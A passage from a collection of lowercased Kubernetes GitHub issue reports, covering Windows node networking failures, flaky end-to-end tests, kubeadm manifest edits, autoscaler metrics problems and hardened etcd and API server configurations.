8ef4df26e9eda04371317603867f4074a0dd6146da7d390562dbf858abf3969e_cbr0: endpoint 8ef4df26e9eda04371317603867f4074a0dd6146da7d390562dbf858abf3969e_cbr0 not found\r e0108 12:10:35.918901     540 remote_runtime.go:96  runpodsandbox from runtime service failed: rpc error: code = unknown desc =  failed to set up sandbox container \ 8ef4df26e9eda04371317603867f4074a0dd6146da7d390562dbf858abf3969e\  network for pod \ iis-6c559f5868-vscxm\ : networkplugin cni failed to set up pod \ iis-6c559f5868-vscxm_default\  network: error while provisionendpoint 8ef4df26e9eda04371317603867f4074a0dd6146da7d390562dbf858abf3969e_cbr0,01fa9118-e56d-4d85-ae5a-86517efdaa18,8ef4df26e9eda04371317603867f4074a0dd6146da7d390562dbf858abf3969e : failed to create the new hnsendpoint: hnscall failed in win32: the object already exists.  0x1392 , failed to clean up sandbox container \ 8ef4df26e9eda04371317603867f4074a0dd6146da7d390562dbf858abf3969e\  network for pod \ iis-6c559f5868-vscxm\ : networkplugin cni failed to teardown pod \ iis-6c559f5868-vscxm_default\  network: failed to find hnsendpoint 8ef4df26e9eda04371317603867f4074a0dd6146da7d390562dbf858abf3969e_cbr0: endpoint 8ef4df26e9eda04371317603867f4074a0dd6146da7d390562dbf858abf3969e_cbr0 not found \r e0108 12:10:35.921900     540 kuberuntime_sandbox.go:65  createpodsandbox for pod \ iis-6c559f5868-vscxm_default 74849a59-1381-11e9-b92d-000c293748f0 \  failed: rpc error: code = unknown desc =  failed to set up sandbox container \ 8ef4df26e9eda04371317603867f4074a0dd6146da7d390562dbf858abf3969e\  network for pod \ iis-6c559f5868-vscxm\ : networkplugin cni failed to set up pod \ iis-6c559f5868-vscxm_default\  network: error while provisionendpoint 8ef4df26e9eda04371317603867f4074a0dd6146da7d390562dbf858abf3969e_cbr0,01fa9118-e56d-4d85-ae5a-86517efdaa18,8ef4df26e9eda04371317603867f4074a0dd6146da7d390562dbf858abf3969e : failed to create the new hnsendpoint: hnscall failed in win32: the object already exists.  0x1392 , failed to clean up sandbox container \ 8ef4df26e9eda04371317603867f4074a0dd6146da7d390562dbf858abf3969e\  network for pod \ iis-6c559f5868-vscxm\ : networkplugin cni failed to teardown pod \ iis-6c559f5868-vscxm_default\  network: failed to find hnsendpoint 8ef4df26e9eda04371317603867f4074a0dd6146da7d390562dbf858abf3969e_cbr0: endpoint 8ef4df26e9eda04371317603867f4074a0dd6146da7d390562dbf858abf3969e_cbr0 not found \r e0108 12:10:35.924902     540 kuberuntime_manager.go:657  createpodsandbox for pod \ iis-6c559f5868-vscxm_default 74849a59-1381-11e9-b92d-000c293748f0 \  failed: rpc error: code = unknown desc =  failed to set up sandbox container \ 8ef4df26e9eda04371317603867f4074a0dd6146da7d390562dbf858abf3969e\  network for pod \ iis-6c559f5868-vscxm\ : networkplugin cni failed to set up pod \ iis-6c559f5868-vscxm_default\  network: error while provisionendpoint 8ef4df26e9eda04371317603867f4074a0dd6146da7d390562dbf858abf3969e_cbr0,01fa9118-e56d-4d85-ae5a-86517efdaa18,8ef4df26e9eda04371317603867f4074a0dd6146da7d390562dbf858abf3969e : failed to create the new hnsendpoint: hnscall failed in win32: the object already exists.  0x1392 , failed to clean up sandbox container \ 8ef4df26e9eda04371317603867f4074a0dd6146da7d390562dbf858abf3969e\  network for pod \ iis-6c559f5868-vscxm\ : networkplugin cni failed to teardown pod \ iis-6c559f5868-vscxm_default\  network: failed to find hnsendpoint 8ef4df26e9eda04371317603867f4074a0dd6146da7d390562dbf858abf3969e_cbr0: endpoint 8ef4df26e9eda04371317603867f4074a0dd6146da7d390562dbf858abf3969e_cbr0 not found \r e0108 12:10:35.926903     540 pod_workers.go:186  error syncing pod 74849a59-1381-11e9-b92d-000c293748f0  \ iis-6c559f5868-vscxm_default 74849a59-1381-11e9-b92d-000c293748f0 \  , skipping: failed to \ createpodsandbox\  for \ iis-6c559f5868-vscxm_default 74849a59-1381-11e9-b92d-000c293748f0 \  with createpodsandboxerror: \ createpodsandbox for pod \\\ iis-6c559f5868-vscxm_default 74849a59-1381-11e9-b92d-000c293748f0 \\\  failed: rpc error: code = unknown desc =  failed to set up sandbox container \\\ 8ef4df26e9eda04371317603867f4074a0dd6146da7d390562dbf858abf3969e\\\  network for pod \\\ iis-6c559f5868-vscxm\\\ : networkplugin cni failed to set up pod \\\ iis-6c559f5868-vscxm_default\\\  network: error while provisionendpoint 8ef4df26e9eda04371317603867f4074a0dd6146da7d390562dbf858abf3969e_cbr0,01fa9118-e56d-4d85-ae5a-86517efdaa18,8ef4df26e9eda04371317603867f4074a0dd6146da7d390562dbf858abf3969e : failed to create the new hnsendpoint: hnscall failed in win32: the object already exists.  0x1392 , failed to clean up sandbox container \\\ 8ef4df26e9eda04371317603867f4074a0dd6146da7d390562dbf858abf3969e\\\  network for pod \\\ iis-6c559f5868-vscxm\\\ : networkplugin cni failed to teardown pod \\\ iis-6c559f5868-vscxm_default\\\  network: failed to find hnsendpoint 8-- more  --\r    \r \r i ran the following commands to join the windows node to the cluster:\r \r    \r start.ps1 -managementip 192.168.168.168 -clustercidr 10.244.0.0./16 -servicecidr 10.96.0.0/12 -kubednsserviceip 10.96.0.10\r \r addroutes.ps1 192.168.168.141\r    \r \r   what you expected to happen  :\r \r that a simple sample pod would deploy to the windows node.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r on linux:\r    \r  kubeuser@knmaster ~ $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.1\ , gitcommit:\ eec55b9ba98609a46fee712359c7b5b365bdd920\ , gittreestate:\ clean\ , builddate:\ 2018-12-13t10:39:04z\ , goversion:\ go1.11.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.1\ , gitcommit:\ eec55b9ba98609a46fee712359c7b5b365bdd920\ , gittreestate:\ clean\ , builddate:\ 2018-12-13t10:31:33z\ , goversion:\ go1.11.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r on windows\r    \r client version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.4\ , gitcommit:\ f49fa022dbe63faafd0da106ef7e05a29721d3f1\ , gittreestate:\ clean\ , builddate:\ 2018-12-14t07:10:00z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ windows/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.1\ , gitcommit:\ eec55b9ba98609a46fee712359c7b5b365bdd920\ , gittreestate:\ clean\ , builddate:\ 2018-12-13t10:31:33z\ , goversion:\ go1.11.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: on premises... running on mac with vmware fusion version professional version 10.1.5 \r \r - os  e.g. from /etc/os-release :\r \r master and node1\r    \r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r    \r windows server\r    \r microsoft windows  version 10.0.17763.107 \r    \r \r - kernel  e.g.  uname -a  : linux knmaster 3.10.0-957.el7.x86_64  1 smp thu nov 8 23:39:32 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r \r

http://perf-dash.k8s.io/ now includes kubelet cpu and memory usage distributions. this is great! thanks @random-liu! there are some issues with it and some enhancements that can be made to make the dashboard useful. 1. cpu usage can be in cores instead of a percentage 2. the graph currently plots a distribution of average usage. having at-least max in addition to average will be useful with making decisions with this data. for example, average rss can be a lot lesser than max rss and the limit needs to be set based on the max usage.  cc @pwittrock @yujuhong @random-liu

once the kubectl sidecar service is complete, build an example 3rd party controller against it using java.  use spring or guice hotness with gradle to provide an extendable platform.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-reboot/751/  multiple broken tests:  failed:  k8s.io  reboot  disruptive   feature:reboot  each node by dropping all outbound packets for a while and ensure they function afterwards {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:142 dec  2 19:23:03.210: all nodes should be ready after test, not ready nodes:    v1.node{  v1.node  0xc420e7e278 } /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:438     issues about this test specifically:  33703  36230   failed:  k8s.io  reboot  disruptive   feature:reboot  each node by switching off the network interface and ensure they function upon switch on {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:142 dec  2 19:29:00.030: all nodes should be ready after test, not ready nodes:    v1.node{  v1.node  0xc420cf6c78 } /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:438     issues about this test specifically:  33407  33623   failed:  k8s.io  reboot  disruptive   feature:reboot  each node by dropping all inbound packets for a while and ensure they function afterwards {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:142 dec  2 19:35:58.986: all nodes should be ready after test, not ready nodes:    v1.node{  v1.node  0xc42147e278 } /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:438     issues about this test specifically:  33405   failed:  k8s.io  reboot  disruptive   feature:reboot  each node by ordering clean reboot and ensure they function upon restart {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/reboot.go:94 dec  2 19:12:15.797: test failed; at least one node failed to reboot in the time given. /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/reboot.go:170     issues about this test specifically:  33874  previous issues for this suite:  36947  37179

following from issues created here:\r https://github.com/kubernetes/kubernetes/issues/40109\r https://github.com/kubernetes/kubeadm/issues/106\r https://github.com/kubernetes/kubernetes/issues/40331\r \r \r i created 3 k8s clusters, each created via kubeadm  following kubeadm guide + weave cni .\r a. 1.5.0\r b. 1.6.0-alpha\r c. 1.6.0-alpha\r \r i edited each of the 3 clusters  kube-apiserver.json  file in  /etc/kubernetes/manifests  by adding the following valid flag:  --service-node-port-range \r \r  cluster a  which is pre 1.5.1 was changed via vim, and i saw changes immediately via  kubectl describe po {my-apiserver-po-name} -n kube-system \r \r  cluster b  which is post 1.5.1 was changed via nano, and same thing. i see the changes immediately \r \r  cluster c  was changed via vim, breaks.  same results as above issues . i can wait 15+ mins w/o kube-api not coming up. in order for me to get my  cluster c  back up, i had to break json  in my case i removed a \  , \  from the arg array \r \r   to test:\r create latest k8s cluster, edit any of the manifest files with valid data via vim. observe cluster breaks. edit manifest file via   invalid   data, then re-edit with valid data, observe cluster is running back up.\r \r create latest k8s cluster, edit any of the manfiest file with valid data via nano. observe cluster is fine.\r \r cc: @colemickens @dmxroid @ericchiang @lokicity  in case you guys want to solve your issues  or rebut my \ fix\

the test is very flaky lately and sample failure:\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-serial/753\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/rescheduler.go:70\r expected error:\r     < errors.errorstring | 0xc420fda550>: {\r         s: \ error while waiting for replication controller kubernetes-dashboard pods to be running: timeout while waiting for pods with labels \\\ k8s-app=kubernetes-dashboard\\\  to be running\ ,\r     }\r     error while waiting for replication controller kubernetes-dashboard pods to be running: timeout while waiting for pods with labels \ k8s-app=kubernetes-dashboard\  to be running\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/rescheduler.go:68\r    \r \r cc/ @kubernetes/sig-scheduling-bugs  @piosz, could you help triage the flakiness?

kubernetes version    use  kubectl version  :\r \r head  ~v1.6.0-beta.4 \r \r   environment  : any\r   what happened  :\r \r i want to use clusterfirstwithhostnet which was implemented in https://github.com/kubernetes/kubernetes/pull/29378, but only dockertools  legacy/non-cri  was updated to support this feature.\r \r the cri dockershim should be modified to support this rewriting the resolv.conf file of pods with hostnetwork=true as well.\r \r this is a bug in v1.6, i hope it can be prioritized to be fixed in v1.6.1, since it's blocking me from using cri. since cri is enabled by default, it's expected that it should have feature parity with the earlier implementation.\r \r @kubernetes/sig-node-bugs @freehan @yujuhong @feiskyer @vefimova @bowei @thockin

client-go/pkg/api will be removed in a coming refactor. internal types  i.e, pkg/api/types.go  will only exist in k8s.io/kubernetes.\r \r however, the  internal metrics api  https://github.com/kubernetes/kubernetes/tree/master/staging/src/k8s.io/metrics/pkg/apis  depends on api.resourcelist and api.objectreference. @directxman12 why does the metrics api need an internal version? can we just remove the internal version? if not, can we copy the definition of api.resourcelist and api.objectreference to k8s.io/metrics?

hi,\r \r i'm creating my k8s cluster in cge with  kube-up.sh , i see that the default docker is 1.11. \r is there any eta when new images with docker 1.12 will be released as default?

is this a bug report or feature request?  : feature request\r \r  \r   request  :\r finer grained statuses in  pod.status.containerstatuses.state \r \r i want to be able to alert on having any pods that are in  imagepullbackoff , but only if that's because of an error other than the image not being found\r \r in particular i'd like a field in the api, as the latest status for the pod. the information is there in the events api in human readable text, but that's fragile to parse, and it's also hard to know if that's still the current status.\r \r   background: what happened  :\r \r i have some containers in  imagepullbackoff \r e.g.\r    \r status:\r   containerstatuses:\r   - containerid: docker://28863442ae00960a38d8a63f839ec4613720d5430baa8e0d396c7fe5fb7ed761\r     image: mirror-internal.docker.tech.lastmile.com/log-aggregation/kafka-topics-docker:e96fc1de7c8dbb6c463a8106786d9df20c3ff80d\r     imageid: docker-pullable://mirror-internal.docker.tech.lastmile.com/log-aggregation/kafka-topics-docker@sha256:f65a6025b3b9f93e16b8cae172860bdb0af61667c71c5fb938d9dc80c2e3550c\r     name: kafka-topic-mgr\r     ready: false\r     restartcount: 8\r     state:\r       waiting:\r         message: back-off pulling image \ mirror-internal.docker.tech.lastmile.com/log-aggregation/kafka-topics-docker:e96fc1de7c8dbb6c463a8106786d9df20c3ff80d\ \r         reason: imagepullbackoff\r    \r \r events from describe:\r    \r   1h\t\t1m\t\t24\tkubelet, kubernetes-cit-kubernetes-cr2-4-1497286299\t\t\t\t\t\twarning\t\tfailedsync\terror syncing pod, skipping: failed to \ startcontainer\  for \ kafka-topic-mgr\  with errimagepull: \ rpc error: code = 2 desc = error response from daemon: {\\\ message\\\ :\\\ get https://mirror-internal.docker.tech.lastmile.com/v1/_ping: x509: certificate signed by unknown authority\\\ }\ \r \r   1h\t<invalid>\t424\tkubelet, kubernetes-cit-kubernetes-cr2-4-1497286299\tspec.containers{kafka-topic-mgr}\tnormal\tbackoff\t\tback-off pulling image \ mirror-internal.docker.tech.lastmile.com/log-aggregation/kafka-topics-docker:e96fc1de7c8dbb6c463a8106786d9df20c3ff80d\ \r    \r \r speaking as a cluster operator, some of our containers are in  imagepullbackoff  for \ legitimate\  reasons. say, a user has configured the wrong image tag, and it can't find it. this i should ignore, it's not my problem to fix, and i don't want to be alerted on it.\r \r if we've broken our internal docker mirrors  that we host on the same kubernete cluster , or the x509 cert is missing on that node, or the kube-proxy has broken and isn't forwarding traffic correctly.. any of these conditions i want to be alerted on.  yes there should be alerts on root causes, but i also want alerts for anything unanticipated that ends up being a user-visible problem \r

apps/v1beta2.statefulset  is going to have a change that changes the defaulting behavior. the user facing aspect of this change is that  .spec.selector  will need to be provided when trying to create an object.\r \r    \r apiversion: apps/v1beta2\r kind: statefulset\r metadata:\r   name: test\r spec:\r   servicename: \ test\ \r   replicas: 2\r   template:\r     metadata:\r       labels:\r         name: test\r     spec:\r       containers:\r       - name: alpine\r         image: alpine\r         command: \r         - /bin/sleep\r         - \ 1000000\ \r    \r \r trying to create this object throws the following errors:\r \r    \r the statefulset \ test\  is invalid: \r   spec.selector: required value\r   spec.template.metadata.labels: invalid value: map string string{\ name\ :\ test\ }:  selector  does not match template  labels \r    \r \r we could have a better error message that indicates:\r \r  1  the  spec.selector  must match at least one label in  spec.template.metadata.labels \r  2  optionally, also saying that the  spec.selector  is  set-based  https://kubernetes.io/docs/concepts/overview/working-with-objects/labels/ set-based-requirement   as opposed to being equality based

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r  \r fix windows ut for proxy mode.\r \r run uts for  kubeproxyconfig/validation  in windows,\r \r    \r === run   testvalidatekubeproxyconfiguration\r --- fail: testvalidatekubeproxyconfiguration  0.00s \r         validation_test.go:83: expected success:  kubeproxyconfiguration.mode.proxymode: invalid value: \ ipvs\ : must be kernelspace,userspace or blank  blank means the most-available proxy  currently userspace   \r    \r \r that's because proxy mode \ ipvs\  is not valid in windows.\r \r \r   what happened  :\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r   \r   what happened  :\r ref https://github.com/kubernetes/kubernetes/issues/57219, lately we found an issue that a service/endpoint could possibly have unmatched ip versions configured  e.g. some fields are in ipv4 while others are ipv6, or uses ipv6 while cluster is in ipv4 , which causes kube-proxy malfunctioning.\r \r https://github.com/kubernetes/kubernetes/pull/56880 plumbs some detection codes to protect kube-proxy, however, the fact that we have to add logic into kube-proxy is not desired. kube-proxy wouldn't need to handle this if \ mis-configured\  service/endpoint is invalidated earlier on the apiserver side. besides, the definition of \ mis-configured\  is yet to be defined --- probably in some cases have both ipv4 and ipv6 configs makes sense?\r \r @freehan also had a quick thought on adding an admission controller for this.\r \r in short, what we are adding now  https://github.com/kubernetes/kubernetes/pull/56880  is not great and would be great to have further discussion on this.

is this a bug report or feature request?  :\r \r    \r   description  :\r \r this is the issue that used to trace related tasks to upgrade  taintnodesbycondition  to beta.\r \r -  x  update flags in  kube_features.go  to beta   62111 \r -  x  added more integration test   66315 \r -     update doc at website  https://github.com/kubernetes/website/pull/9626 \r -     update release notes.\r \r related issues:\r \r -  x  disable memory/disk pressure predicates if taintnodesbycondition enabled  https://github.com/kubernetes/kubernetes/issues/60397 \r -  x  taintnodesbycondition does not take effect  https://github.com/kubernetes/kubernetes/issues/58042 \r -  x  taintnodesbycondition=true does not respect spec.unschedulable  https://github.com/kubernetes/kubernetes/issues/58648 \r -  x  taintnodesbycondition not working as expected  https://github.com/kubernetes/kubernetes/issues/53804 \r -  x  a node has taint \ disk pressure\ ,and the pod has toleration \ disk pressure\ ,but the pod can not be scheduled to the node  https://github.com/kubernetes/kubernetes/issues/61079 \r -  x  daemonset should ignore the  unschedulable  field of a node  https://github.com/kubernetes/kubernetes/pull/60386 \r -  x  propose to taint node \ shutdown\  condition  https://github.com/kubernetes/kubernetes/issues/58635 \r -  x  the besteffort pod maybe rejected by kubelet with toleration  https://github.com/kubernetes/kubernetes/issues/58505 \r -  x  node still marks as ready when running out of processes  https://github.com/kubernetes/kubernetes/issues/54313 \r -  x  scheduler still schedule pod to not ready node  https://github.com/kubernetes/kubernetes/pull/63471 \r -  x  race condition when applying the unschedulable taint  https://github.com/kubernetes/kubernetes/issues/63897 \r \r \r /cc @bsalamat @gmarek \r \r /assign @k82cn

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r after creating the horizontal pod autoscaler, it doesn't get the metrics to autoscale.  kubectl top pods  actually gets correctly the amount of cpu in use. old hpa created with previous kubernetes versions works fine, they currently are being autoscaled right now.\r \r    \r events:\r   type     reason                        age                  from                       message\r   ----     ------                        ----                 ----                       -------\r   warning  failedcomputemetricsreplicas  49m  x13 over 55m    horizontal-pod-autoscaler  failed to get cpu utilization: no metrics returned matched known pods\r   warning  failedgetresourcemetric       49s  x111 over 55m   horizontal-pod-autoscaler  no metrics returned matched known pods\r    \r \r i've tried deleting all deployment/service/autoscaler and recreate it, but no luck. i've also tested to create a new autoscaler for an old deployment and same problem apperars  no metrics returned matched known pods .\r \r   what you expected to happen  :\r that new horizontal pod autoscalers get cpu usage and actually work.\r \r   how to reproduce it  as minimally and precisely as possible   :\r have a gke cluster with kubernetes 1.9.7.gke.0 running and create an autoscaler for a deployment to check if it works.\r \r   anything else we need to know?  :\r \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.7\r - cloud provider or hardware configuration: 1.9.7-gke.0\r - os  e.g. from /etc/os-release :\r    \r build_id=10323.75.0\r name=\ container-optimized os\ \r kernel_commit_id=58f1195f1c24ee272ffc7b913c268b781483fff1\r google_crash_id=lakitu\r version_id=65\r bug_report_url=https://crbug.com/new\r pretty_name=\ container-optimized os from google\ \r version=65\r google_metrics_product_id=26\r home_url=\ https://cloud.google.com/compute/docs/containers/vm-image/\ \r id=cos\r    \r - kernel  e.g.  uname -a  : linux gke-cluster-1-main-pool-e9155b8a-14xj 4.4.111+  1 smp thu apr 19 11:45:40 pdt 2018 x86_64 intel r  xeon r  cpu @ 2.60ghz genuineintel gnu/linux\r - install tools:\r - others:\r heapster-v.1.5.2\r metrics-server-v0.2.1\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r we have initiated 1 master and 6 nodes using kubeadm around march 30th 2018. everything is working fine until last weekend. kubernetes control-plane pods were down and when trying to restart , the etcd & api-server pods are restarting. and kubelet is unable to register the   master   with api server. \r \r    \r unable to register node \ azwushubqaadmmaster01\  with api server\r    \r \r the etcd logs  attached  doesn't throw any error except that it is receiving kill signal from kubelet after it is up for about 2-3 minutes.\r \r attaching etcd, api-server and kubelet logs.\r  \r   what you expected to happen  :\r master node to register with api server.\r   how to reproduce it  as minimally and precisely as possible   :\r install 1 master and 6 nodes. harden kubelet, api-server and etcd as follows:\r \r kubelet config:\r    \r  service \r environment=\ kubelet_kubeconfig_args=--bootstrap-kubeconfig=/etc/kubernetes/bootstrap-kubelet.conf --kubeconfig=/etc/kubernetes/kubelet.conf\ \r environment=\ kubelet_system_pods_args=--pod-manifest-path=/etc/kubernetes/manifests --allow-privileged=true\ \r environment=\ kubelet_network_args=--network-plugin=cni --cni-conf-dir=/etc/cni/net.d --cni-bin-dir=/opt/cni/bin\ \r environment=\ kubelet_dns_args=--cluster-dns=10.96.0.10 --cluster-domain=cluster.local\ \r environment=\ kubelet_authz_args=--authorization-mode=webhook --client-ca-file=/etc/kubernetes/pki/ca.crt\ \r environment=\ kubelet_cadvisor_args=--cadvisor-port=0\ \r environment=\ kubelet_certificate_args=--rotate-certificates=true --cert-dir=/var/lib/kubelet/pki --tls-cert-file=/var/lib/kubelet/pki/kubelet-server.crt --tls-private-key-file=/var/lib/kubelet/pki/kubelet-server.key --feature-gates=rotatekubeletclientcertificate=true,rotatekubeletservercertificate=true\ \r environment=\ kubelet_extra_args=--v=6\ \r execstart=\r execstart=/usr/bin/kubelet $kubelet_kubeconfig_args $kubelet_system_pods_args $kubelet_network_args $kubelet_dns_args $kubelet_authz_args $kubelet_cadvisor_args $kubelet_certificate_args $kubelet_extra_args\r    \r etcd.yaml\r    \r apiversion: v1\r kind: pod\r metadata:\r   annotations:\r     scheduler.alpha.kubernetes.io/critical-pod: \ \ \r   creationtimestamp: null\r   labels:\r     component: etcd\r     tier: control-plane\r   name: etcd\r   namespace: kube-system\r spec:\r   containers:\r   - command:\r     - etcd\r     - --debug=true\r     - --listen-client-urls=https://127.0.0.1:2379\r     - --advertise-client-urls=https://127.0.0.1:2379\r     - --client-cert-auth=true\r     - --cert-file=/etc/kubernetes/pki/etcd/etcd-server.crt\r     - --key-file=/etc/kubernetes/pki/etcd/etcd-server.key\r     - --trusted-ca-file=/etc/kubernetes/pki/etcd/ca.crt\r     - --auto-tls=false\r     - --data-dir=/var/lib/etcd/datadir/\r     - --wal-dir=/var/lib/etcd/waldir/\r     - --max-wals=0\r     image: gcr.io/google_containers/etcd-amd64:3.1.12\r     livenessprobe:\r       exec:\r         command:\r         - /bin/sh\r         - -ec\r         - etcdctl_api=3 etcdctl --endpoints=127.0.0.1:2379 --cacert=/etc/kubernetes/pki/etcd/ca.crt\r           --cert=/etc/kubernetes/pki/etcd/etcd-client.crt --key=/etc/kubernetes/pki/etcd/etcd-client.key\r           get foo\r       failurethreshold: 8\r       initialdelayseconds: 15\r       timeoutseconds: 30\r     name: etcd\r     resources: {}\r     volumemounts:\r     - mountpath: /var/lib/etcd/datadir/\r       name: etcd\r     - mountpath: /var/lib/etcd/waldir/\r       name: wal\r     - mountpath: /etc/kubernetes/pki/etcd/\r       name: etcd-certs\r   hostnetwork: true\r   volumes:\r   - hostpath:\r       path: /var/lib/etcd/datadir/\r       type: directoryorcreate\r     name: etcd\r   - hostpath:\r       path: /var/lib/etcd/waldir/\r       type: directoryorcreate\r     name: wal\r   - hostpath:\r       path: /etc/kubernetes/pki/etcd/\r       type: directoryorcreate\r     name: etcd-certs\r status: {}\r    \r kube-apiserver.yaml\r    \r apiversion: v1\r kind: pod\r metadata:\r   annotations:\r     scheduler.alpha.kubernetes.io/critical-pod: \ \ \r   creationtimestamp: null\r   labels:\r     component: kube-apiserver\r     tier: control-plane\r   name: kube-apiserver\r   namespace: kube-system\r spec:\r   containers:\r   - command:\r     - kube-apiserver\r     - --anonymous-auth=false\r     - --requestheader-group-headers=x-remote-group\r     - --runtime-config=rbac.authorization.k8s.io/v1alpha1,admissionregistration.k8s.io/v1alpha1\r     - --service-account-lookup=true\r     - --service-account-key-file=/etc/kubernetes/pki/sa.pub\r     - --tls-cert-file=/etc/kubernetes/pki/apiserver.crt\r     - --requestheader-client-ca-file=/etc/kubernetes/pki/front-proxy-ca.crt\r     - --admission-control=initializers,namespacelifecycle,limitranger,serviceaccount,defaultstorageclass,defaulttolerationseconds,noderestriction,resourcequota,alwayspullim\r ages,securitycontextdeny,denyescalatingexec,podsecuritypolicy\r     - --requestheader-allowed-names=front-proxy-client\r     - --tls-private-key-file=/etc/kubernetes/pki/apiserver.key\r     - --kubelet-client-key=/etc/kubernetes/pki/apiserver-kubelet-client.key\r     - --secure-port=6443\r     - --proxy-client-key-file=/etc/kubernetes/pki/front-proxy-client.key\r     - --kubelet-preferred-address-types=internalip,externalip,hostname\r     - --allow-privileged=true\r     - --kubelet-https=true\r     - --request-timeout=3m0s\r     - --repair-malformed-updates=false\r     - --requestheader-extra-headers-prefix=x-remote-extra-\r     - --service-cluster-ip-range=10.96.0.0/12\r     - --client-ca-file=/etc/kubernetes/pki/ca.crt\r     - --enable-bootstrap-token-auth=true\r     - --requestheader-username-headers=x-remote-user\r     - --advertise-address=10.248.66.21\r     - --kubelet-certificate-authority=/etc/kubernetes/pki/ca.crt\r     - --kubelet-client-certificate=/etc/kubernetes/pki/apiserver-kubelet-client.crt\r     - --proxy-client-cert-file=/etc/kubernetes/pki/front-proxy-client.crt\r     - --insecure-port=0\r     - --authorization-mode=node,rbac\r     - --etcd-servers=https://127.0.0.1:2379\r     - --etcd-cafile=/etc/kubernetes/pki/etcd/ca.crt\r     - --etcd-certfile=/etc/kubernetes/pki/etcd/etcd-client.crt\r     - --etcd-keyfile=/etc/kubernetes/pki/etcd/etcd-client.key\r     - --profiling=false\r     - --audit-policy-file=/etc/kubernetes/apiserverconfig/audit-policy.yaml\r     - --audit-log-format=json\r     - --audit-log-path=/mnt/logs/k8s/audit/kube-audit\r     - --audit-log-maxage=30\r     - --audit-log-maxbackup=10\r     - --audit-log-maxsize=100\r     - --feature-gates=advancedauditing=true\r     - --experimental-encryption-provider-config=/etc/kubernetes/apiserverconfig/encrypt-config.yaml\r     - --v=6\r     image: gcr.io/google_containers/kube-apiserver-amd64:v1.9.5\r     livenessprobe:\r       tcpsocket:\r         port: 6443\r       initialdelayseconds: 15\r       periodseconds: 20\r     name: kube-apiserver\r     resources:\r       requests:\r         cpu: 500m\r     volumemounts:\r     - mountpath: /etc/kubernetes/pki\r       name: k8s-certs\r       readonly: true\r     - mountpath: /etc/ssl/certs\r       name: ca-certs\r       readonly: true\r     - mountpath: /etc/kubernetes/apiserverconfig\r       name: apiserverconfig\r       readonly: true\r     - mountpath: /mnt/logs/k8s/\r       name: logs\r   hostnetwork: true\r   volumes:\r   - hostpath:\r       path: /etc/kubernetes/pki\r       type: directoryorcreate\r     name: k8s-certs\r   - hostpath:\r       path: /etc/ssl/certs\r       type: directoryorcreate\r     name: ca-certs\r   - hostpath:\r       path: /etc/kubernetes/apiserverconfig\r       type: directoryorcreate\r     name: apiserverconfig\r   - hostpath:\r       path: /mnt/logs/k8s/\r       type: 